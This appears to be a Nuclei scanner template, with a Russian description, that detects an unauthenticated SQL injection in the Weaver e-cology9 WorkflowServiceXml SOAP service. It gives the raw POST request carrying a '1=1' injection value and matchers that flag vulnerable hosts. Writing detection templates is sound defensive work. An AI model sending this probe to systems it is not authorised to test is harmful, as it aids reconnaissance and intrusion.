POST /services/WorkflowServiceXml HTTP/1.1
Host: x.x.x.x
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
  <soapenv:Header/>
  <soapenv:Body>
    <web:getHendledWorkflowRequestList>
      <web:in0>1</web:in0>
      <web:in1>1</web:in1>
      <web:in2>1</web:in2>
      <web:in3>1</web:in3>
      <web:in4>
        <web:string>1=1</web:string>
      </web:in4>
    </web:getHendledWorkflowRequestList>
  </soapenv:Body>
</soapenv:Envelope>

id: Panwei e-cology9 WorkflowServiceXml Уязвимость внедрения SQL

info:
  name: Panwei e-cology9 WorkflowServiceXml Уязвимость внедрения SQL
  author: whgojp
  severity: info
  description: При конфигурации по умолчанию неавторизованный злоумышленник может использовать эти лазейки для выполнения произвольных операторов SQL, тем самым вызывая любые действия. команды

http:
  - raw:
      - |
        POST /services/WorkflowServiceXml HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml;charset=UTF-8

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
          <soapenv:Header/>
          <soapenv:Body>
            <web:getHendledWorkflowRequestList>
              <web:in0>1</web:in0>
              <web:in1>1</web:in1>
              <web:in2>1</web:in2>
              <web:in3>1</web:in3>
              <web:in4>
                <web:string>1=1</web:string>
              </web:in4>
            </web:getHendledWorkflowRequestList>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "getHendledWorkflowRequestListResponse"